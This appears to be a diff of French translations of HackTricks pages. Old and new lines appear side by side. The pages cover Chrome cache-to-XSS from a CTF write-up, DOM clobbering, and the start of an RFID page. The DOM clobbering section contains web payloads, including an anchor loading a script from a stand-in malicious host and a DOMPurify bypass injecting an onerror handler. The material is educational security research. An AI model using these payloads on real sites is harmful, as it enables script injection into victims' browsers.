Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Soutenir HackTricks</summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
</details>
{% endhint %}

View file

@ -1,50 +1,56 @@
# Chrome Cache to XSS
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Plus de détails approfondis [**dans cet article**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote).
More in depth details [**in this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote).
La technique discutée ici implique de comprendre le comportement et l'interaction de deux types de cache principaux : le **cache avant/arrière (bfcache)** et le **cache disque**. Le bfcache, qui stocke un instantané complet d'une page incluant le tas JavaScript, est priorisé par rapport au cache disque pour les navigations avant/arrière en raison de sa capacité à stocker un instantané plus complet. Le cache disque, en revanche, stocke des ressources récupérées du web sans inclure le tas JavaScript, et est utilisé pour les navigations avant/arrière afin de réduire les coûts de communication. Un aspect intéressant du cache disque est son inclusion des ressources récupérées à l'aide de `fetch`, ce qui signifie que les ressources d'URL consultées seront rendues par le navigateur à partir du cache.
La technique discutée ici implique de comprendre le comportement et l'interaction de deux types de cache principaux : le **back/forward cache (bfcache)** et le **disk cache**. Le bfcache, qui stocke un instantané complet d'une page y compris le tas JavaScript, est priorisé par rapport au disk cache pour les navigations avant/arrière en raison de sa capacité à stocker un instantané plus complet. Le disk cache, en revanche, stocke les ressources récupérées sur le web sans inclure le tas JavaScript, et est utilisé pour les navigations avant/arrière afin de réduire les coûts de communication. Un aspect intéressant du disk cache est son inclusion de ressources récupérées en utilisant `fetch`, ce qui signifie que les ressources d'URL accessibles seront rendues par le navigateur à partir du cache.
### Points clés :
### Key Points:
- Le **bfcache** a la priorité sur le cache disque dans les navigations avant/arrière.
- Pour utiliser une page stockée dans le cache disque au lieu du bfcache, ce dernier doit être désactivé.
- Le **bfcache** a la priorité sur le disk cache lors des navigations avant/arrière.
- Pour utiliser une page stockée dans le disk cache au lieu du bfcache, ce dernier doit être désactivé.
### Désactivation du bfcache :
### Disabling bfcache:
Par défaut, Puppeteer désactive le bfcache, en accord avec les conditions énumérées dans la documentation de Chromium. Une méthode efficace pour désactiver le bfcache est l'utilisation de `RelatedActiveContentsExist`, obtenue en ouvrant une page avec `window.open()` qui conserve une référence à `window.opener`.
Par défaut, Puppeteer désactive le bfcache, conformément aux conditions énumérées dans la documentation de Chromium. Une méthode efficace pour désactiver le bfcache est d'utiliser `RelatedActiveContentsExist`, obtenue en ouvrant une page avec `window.open()` qui conserve une référence à `window.opener`.
### Reproduction du comportement :
### Reproducing the behavior:
1. Visitez une page web, par exemple `https://example.com`.
1. Visitez une page web, par exemple, `https://example.com`.
2. Exécutez `open("http://spanote.seccon.games:3000/api/token")`, ce qui entraîne une réponse du serveur avec un code d'état 500.
3. Dans l'onglet nouvellement ouvert, accédez à `http://spanote.seccon.games:3000/`. Cette action met en cache la réponse de `http://spanote.seccon.games:3000/api/token` en tant que cache disque.
4. Utilisez `history.back()` pour naviguer en arrière. L'action entraîne le rendu de la réponse JSON mise en cache sur la page.
3. Dans l'onglet nouvellement ouvert, naviguez vers `http://spanote.seccon.games:3000/`. Cette action met en cache la réponse de `http://spanote.seccon.games:3000/api/token` en tant que disk cache.
4. Utilisez `history.back()` pour revenir en arrière. L'action entraîne le rendu de la réponse JSON mise en cache sur la page.
La confirmation que le cache disque a été utilisé peut être vérifiée en utilisant DevTools dans Google Chrome.
La vérification que le disk cache a été utilisé peut être confirmée par l'utilisation des DevTools dans Google Chrome.
Pour plus de détails sur le bfcache et le cache disque, des références peuvent être trouvées sur [web.dev sur le bfcache](https://web.dev/i18n/en/bfcache/) et [les documents de conception de Chromium sur le cache disque](https://www.chromium.org/developers/design-documents/network-stack/disk-cache/), respectivement.
Pour plus de détails sur le bfcache et le disk cache, des références peuvent être trouvées sur [web.dev sur bfcache](https://web.dev/i18n/en/bfcache/) et [les documents de conception de Chromium sur le disk cache](https://www.chromium.org/developers/design-documents/network-stack/disk-cache/), respectivement.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,36 +1,39 @@
# Dom Clobbering
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **Fondamentaux**
## **Basics**
Il est possible de générer des **variables globales à l'intérieur du contexte JS** avec les attributs **`id`** et **`name`** dans les balises HTML.
Il est possible de générer des **variables globales dans le contexte JS** avec les attributs **`id`** et **`name`** dans les balises HTML.
```html
<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
```
**Seuls** certains éléments peuvent utiliser l'attribut **name** pour écraser les globaux, ce sont : `embed`, `form`, `iframe`, `image`, `img` et `object`.
**Seules** certaines éléments peuvent utiliser l'**attribut name** pour écraser des variables globales, ce sont : `embed`, `form`, `iframe`, `image`, `img` et `object`.
De manière intéressante, lorsque vous utilisez un **élément de formulaire** pour **écraser** une variable, vous obtiendrez la valeur **`toString`** de l'élément lui-même : `[object HTMLFormElement]` mais avec **ancre** le **`toString`** sera le **`href`** de l'ancre. Par conséquent, si vous écrasez en utilisant la balise **`a`**, vous pouvez **contrôler** la **valeur** lorsqu'elle est **traitée comme une chaîne** :
Il est intéressant de noter que lorsque vous utilisez un **élément de formulaire** pour **écraser** une variable, vous obtiendrez la valeur **`toString`** de l'élément lui-même : `[object HTMLFormElement]`, mais avec **l'ancre**, la **`toString`** sera l'**href** de l'ancre. Par conséquent, si vous écrasez en utilisant la balise **`a`**, vous pouvez **contrôler** la **valeur** lorsqu'elle est **traitée comme une chaîne** :
```html
<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>
```
### Tableaux et Attributs
### Arrays & Attributes
Il est également possible de **surcharger un tableau** et les **attributs d'un objet** :
Il est également possible de **clobber un tableau** et **des attributs d'objet** :
```html
<a id=x>
<a id=x name=y href=controlled>
@ -39,7 +42,7 @@ console.log(x[1])//controlled
console.log(x.y)//controlled
</script>
```
Pour écraser **un 3ème attribut** (par exemple x.y.z), vous devez utiliser un **`form`**:
Pour écraser **un 3ème attribut** (par exemple x.y.z), vous devez utiliser un **`form`** :
```html
<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
@ -47,14 +50,14 @@ Pour écraser **un 3ème attribut** (par exemple x.y.z), vous devez utiliser un
alert(x.y.z.value)//controlled
</script>
```
Cibler plus d'attributs est **plus compliqué mais toujours possible**, en utilisant des iframes :
Clobbering plus d'attributs est **plus compliqué mais toujours possible**, en utilisant des iframes :
```html
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>
```
{% hint style="warning" %}
La balise style est utilisée pour **donner suffisamment de temps à l'iframe pour se rendre**. Sans cela, vous obtiendrez une alerte **indéfinie**.
La balise style est utilisée pour **donner suffisamment de temps à l'iframe pour se rendre**. Sans cela, vous trouverez une alerte de **undefined**.
{% endhint %}
Pour écraser des attributs plus profonds, vous pouvez utiliser **des iframes avec un encodage html** de cette manière :
@ -65,9 +68,9 @@ Pour écraser des attributs plus profonds, vous pouvez utiliser **des iframes av
alert(a.b.c.d.e)//controlled
</script>
```
### **Contournement de filtre**
### **Contournement de Filtre**
Si un filtre **boucle** à travers les **propriétés** d'un nœud en utilisant quelque chose comme `document.getElementByID('x').attributes`, vous pourriez **écraser** l'attribut **`.attributes`** et **casser le filtre**. D'autres propriétés DOM comme **`tagName`**, **`nodeName`** ou **`parentNode`** et d'autres encore sont également **écrasables**.
Si un filtre **parcourt** les **propriétés** d'un nœud en utilisant quelque chose comme `document.getElementByID('x').attributes`, vous pourriez **écraser** l'attribut **`.attributes`** et **casser le filtre**. D'autres propriétés DOM comme **`tagName`**, **`nodeName`** ou **`parentNode`** et d'autres sont également **écrasables**.
```html
<form id=x></form>
<form id=y>
@ -78,13 +81,13 @@ console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>
```
## **Écrasement de `window.someObject`**
## **Clobbering `window.someObject`**
En JavaScript, il est courant de trouver :
```javascript
var someObject = window.someObject || {};
```
Manipuler le HTML sur la page permet de remplacer `someObject` par un nœud DOM, introduisant potentiellement des vulnérabilités de sécurité. Par exemple, vous pouvez remplacer `someObject` par un élément d'ancre pointant vers un script malveillant :
Manipuler le HTML sur la page permet de remplacer `someObject` par un nœud DOM, introduisant potentiellement des vulnérabilités de sécurité. Par exemple, vous pouvez remplacer `someObject` par un élément d'ancrage pointant vers un script malveillant :
```html
<a id=someObject href=//malicious-website.com/malicious.js></a>
```
@ -99,27 +102,27 @@ document.body.appendChild(script);
};
</script>
```
Ce méthode exploite la source du script pour exécuter du code non désiré.
Cette méthode exploite la source du script pour exécuter du code indésirable.
**Astuce**: **`DOMPurify`** vous permet d'utiliser le protocole **`cid:`**, qui **n'encode pas en URL les guillemets doubles**. Cela signifie que vous pouvez **injecter un guillemet double encodé qui sera décodé à l'exécution**. Par conséquent, injecter quelque chose comme **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`** fera en sorte que l'encodage HTML `&quot;` soit **décodé à l'exécution** et **s'échappe** de la valeur de l'attribut pour **créer** l'événement **`onerror`**.
**Astuce** : **`DOMPurify`** vous permet d'utiliser le **`cid:`** protocole, qui **n'encode pas les guillemets doubles en URL**. Cela signifie que vous pouvez **injecter un guillemet double encodé qui sera décodé à l'exécution**. Par conséquent, injecter quelque chose comme **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`** fera que le `&quot;` encodé en HTML sera **décodé à l'exécution** et **s'échappera** de la valeur de l'attribut pour **créer** l'événement **`onerror`**.
Une autre technique utilise un élément **`form`**. Certaines bibliothèques côté client inspectent les attributs d'un élément de formulaire nouvellement créé pour les nettoyer. Cependant, en ajoutant un `input` avec `id=attributes` à l'intérieur du formulaire, vous écrasez efficacement la propriété des attributs, empêchant le désinfectant d'accéder aux attributs réels.
Une autre technique utilise un élément **`form`**. Certaines bibliothèques côté client inspectent les attributs d'un nouvel élément de formulaire créé pour les nettoyer. Cependant, en ajoutant un `input` avec `id=attributes` à l'intérieur du formulaire, vous écrasez effectivement la propriété des attributs, empêchant le nettoyeur d'accéder aux véritables attributs.
Vous pouvez [**trouver un exemple de ce type de clobbering dans ce compte rendu de CTF**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
Vous pouvez [**trouver un exemple de ce type de clobbering dans ce CTF writeup**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
## Écrasement de l'objet document
## Clobbering de l'objet document
Selon la documentation, il est possible de remplacer les attributs de l'objet document en utilisant le DOM Clobbering:
Selon la documentation, il est possible d'écraser les attributs de l'objet document en utilisant le DOM Clobbering :
> L'interface [Document](https://html.spec.whatwg.org/multipage/dom.html#document) [prend en charge les propriétés nommées](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Les [noms de propriétés pris en charge](https://webidl.spec.whatwg.org/#dfn-supported-property-names) d'un objet [Document](https://html.spec.whatwg.org/multipage/dom.html#document) document à tout moment se composent des éléments suivants, dans l'ordre de l'arborescence selon l'élément qui les a contribués, en ignorant les doublons ultérieurs, et avec les valeurs des attributs [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) venant avant les valeurs des attributs name lorsque le même élément contribue aux deux :
> L'interface [Document](https://html.spec.whatwg.org/multipage/dom.html#document) [prend en charge les propriétés nommées](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Les [noms de propriétés pris en charge](https://webidl.spec.whatwg.org/#dfn-supported-property-names) d'un objet [Document](https://html.spec.whatwg.org/multipage/dom.html#document) à tout moment consistent en ce qui suit, dans [l'ordre d'arbre](https://dom.spec.whatwg.org/#concept-tree-order) selon l'élément qui les a contribué, en ignorant les doublons ultérieurs, et avec des valeurs provenant des attributs [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) venant avant les valeurs des attributs name lorsque le même élément contribue aux deux :
>
> \- La valeur de l'attribut de contenu name pour tous les éléments [exposés](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), et les éléments [exposés](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) qui ont un attribut de contenu name non vide et sont [dans un arbre de document](https://dom.spec.whatwg.org/#in-a-document-tree) avec le document comme leur [racine](https://dom.spec.whatwg.org/#concept-tree-root);\
> \- La valeur de l'attribut de contenu name pour tous les éléments [exposés](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), et [exposés](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) qui ont un attribut de contenu name non vide et sont [dans un arbre de document](https://dom.spec.whatwg.org/#in-a-document-tree) avec document comme leur [racine](https://dom.spec.whatwg.org/#concept-tree-root);\
> \
> \- La valeur de l'attribut de contenu [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) pour tous les éléments [exposés](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) qui ont un attribut de contenu [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) non vide et sont [dans un arbre de document](https://dom.spec.whatwg.org/#in-a-document-tree) avec le document comme leur [racine](https://dom.spec.whatwg.org/#concept-tree-root);\
> \- La valeur de l'attribut de contenu [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) pour tous les éléments [exposés](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) qui ont un attribut de contenu [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) non vide et sont [dans un arbre de document](https://dom.spec.whatwg.org/#in-a-document-tree) avec document comme leur [racine](https://dom.spec.whatwg.org/#concept-tree-root);\
> \
> \- La valeur de l'attribut [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) pour tous les éléments [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) qui ont à la fois un attribut de contenu [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) non vide et un attribut de contenu name non vide, et sont [dans un arbre de document](https://dom.spec.whatwg.org/#in-a-document-tree) avec le document comme leur [racine](https://dom.spec.whatwg.org/#concept-tree-root).
> \- La valeur de l'attribut de contenu [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) pour tous les éléments [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) qui ont à la fois un attribut de contenu [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) non vide et un attribut de contenu name non vide, et sont [dans un arbre de document](https://dom.spec.whatwg.org/#in-a-document-tree) avec document comme leur [racine](https://dom.spec.whatwg.org/#concept-tree-root).
En utilisant cette technique, vous pouvez remplacer des **valeurs couramment utilisées telles que `document.cookie`, `document.body`, `document.children`**, et même des méthodes dans l'interface Document comme `document.querySelector`.
En utilisant cette technique, vous pouvez écraser des **valeurs couramment utilisées telles que `document.cookie`, `document.body`, `document.children`**, et même des méthodes dans l'interface Document comme `document.querySelector`.
```javascript
document.write("<img name=cookie />")
@ -150,7 +153,7 @@ alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>
```
De plus, en utilisant des styles pour masquer ces balises HTML/body injectées, l'interférence avec d'autres textes dans le `innerText` peut être évitée, améliorant ainsi l'efficacité de l'attaque:
De plus, en utilisant des styles pour cacher ces balises HTML/body injectées, l'interférence d'autres textes dans le `innerText` peut être évitée, améliorant ainsi l'efficacité de l'attaque :
```html
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
@ -162,7 +165,7 @@ p{display:none;}
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```
Les investigations sur SVG ont révélé qu'une balise `<body>` peut également être utilisée de manière efficace :
Les enquêtes sur SVG ont révélé qu'une balise `<body>` peut également être utilisée efficacement :
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
@ -170,7 +173,7 @@ Les investigations sur SVG ont révélé qu'une balise `<body>` peut également
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```
Pour que la balise HTML fonctionne dans SVG dans des navigateurs comme Chrome et Firefox, une balise `<foreignobject>` est nécessaire :
Pour que la balise HTML fonctionne au sein de SVG dans des navigateurs comme Chrome et Firefox, une balise `<foreignobject>` est nécessaire :
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
@ -182,9 +185,11 @@ Pour que la balise HTML fonctionne dans SVG dans des navigateurs comme Chrome et
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```
## Substitution de formulaires
## Clobbering Forms
Il est possible d'ajouter de **nouvelles entrées à l'intérieur d'un formulaire** simplement en **spécifiant l'attribut `form`** à l'intérieur de certaines balises. Vous pouvez utiliser ceci pour **ajouter de nouvelles valeurs à l'intérieur d'un formulaire** et même ajouter un nouveau **bouton** pour **l'envoyer** (clickjacking ou en abusant de certains codes JS `.click()`):
Il est possible d'ajouter **de nouvelles entrées à l'intérieur d'un formulaire** simplement en **spécifiant l'attribut `form`** à l'intérieur de certaines balises. Vous pouvez utiliser cela pour **ajouter de nouvelles valeurs à l'intérieur d'un formulaire** et même ajouter un **bouton** pour **l'envoyer** (clickjacking ou abus de certains codes JS `.click()`):
{% code overflow="wrap" %}
```html
<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
@ -196,7 +201,7 @@ Click to send!
```
{% endcode %}
* Pour plus d'attributs de formulaire, consultez [**ce lien**](https://www.w3schools.com/tags/tag\_button.asp)**.**
* Pour plus d'attributs de formulaire dans [**le bouton vérifiez ceci**](https://www.w3schools.com/tags/tag\_button.asp)**.**
## Références
@ -204,14 +209,17 @@ Click to send!
* [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
* Heyes, Gareth. JavaScript pour les hackers : Apprenez à penser comme un hacker.
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Équipe Rouge AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Équipe Rouge GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Soutenir HackTricks</summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord**](https://discord.gg/hRep4RUj7f) ou le **groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PRs au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
</details>
{% endhint %}

View file

@ -1,63 +1,66 @@
# Test d'intrusion RFID
# Pentesting RFID
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
